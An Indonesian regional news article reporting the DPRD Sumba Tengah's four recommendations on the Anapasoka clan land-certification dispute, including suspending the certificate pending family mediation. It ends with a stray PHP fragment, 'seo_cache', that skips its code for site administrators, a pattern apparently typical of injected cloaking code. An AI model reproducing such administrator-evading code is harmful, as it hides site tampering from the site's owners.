Pemerintahan

RDP Terkait Sertifikasi Tanah Suku Anapasoka Hasilkan Empat Rekomendasi, DPRD Sumba Tengah Minta Camat dan Kades Jadi Mediator

×

RDP Terkait Sertifikasi Tanah Suku Anapasoka Hasilkan Empat Rekomendasi, DPRD Sumba Tengah Minta Camat dan Kades Jadi Mediator

Sebarkan artikel ini

WAIBAKUL, MENARASUMBA.COM – Usai Rapat Dengar Pendapat (RDP) selama dua hari, DPRD Kabupaten Sumba Tengah mengembalikan persoalan sertifikasi lahan Suku Anapasoka kepada pemerintah.

Saat menutup RDP tersebut, Ketua DPRD Kabupaten Sumba Tengah, Arpud Umbu Rauta Mangalema, S.Pd meminta camat dan kepala desa untuk memediasi penyelesaian masalah tanah suku ini.

Rapat Dengar Pendapat itu memutuskan empat rekomendasi yang harus ditindaklanjuti oleh BPN bersama pemerintah kecamatan dan desa.

“Pertama, dalam proses pemetaan hingga pengukuran agar BPN, Camat, dan Kepala Desa melakukan sosialisasi baik melalui tatap muka maupun lewat media yang mudah diakses oleh masyarakat sesuai regulasi yang ada” ujar Arpud dalam RDP terakhir, Jumat (23/01/2026).

Kedua, proses penerbitan sertifikat tanah oleh BPN Sumba Tengah sesuai hasil pengukuran yang diajukan oleh keluarga Umbu Sina agar ditangguhkan sementara untuk dilakukan mediasi damai sesuai kearifan lokal.

Ketiga, apabila dalam proses mediasi perdamaian keluarga tidak mencapai kesepakatan maka DPRD Kabupaten Sumba Tengah meminta Kepala BPN untuk mempertimbangkan secara arif dokumen pengukuran dan sertifikasi lahan tersebut agar tidak menimbulkan gejolak pertikaian horizontal.

Selanjutnya masing-masing pihak dipersilahkan untuk menggunakan haknya sesuai peraturan perundang-undangan yang berlaku, tapi itu adalah jalan terakhir yang ditempuh oleh kedua keluarga.

“Kalau dimungkinkan, sekali lagi saya harap agar jalur damai tetap ditempuh,” imbau politisi PKB ini.

Keempat, pemerintah diharap untuk meningkatkan kapasitas aparatur terutama di tingkat kecamatan dan desa agar lebih memperhatikan tugas, fungsi, dan kewenangan sebagai pejabat dalam melayani kepentingan masyarakat.

Saat ditanya awak media usai RDP, Ketua DPRD Sumba Tengah menegaskan, pihaknya benar-benar ingin agar persoalan itu diselesaikan melalui mediasi damai keluarga.

“Jika harapan itu gagal diwujudkan, maka BPN harus mencermati secara seksama dan tidak memaksakan penerbitan sertifikat yang bertentangan dengan aturan,” pungkas Arpud. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>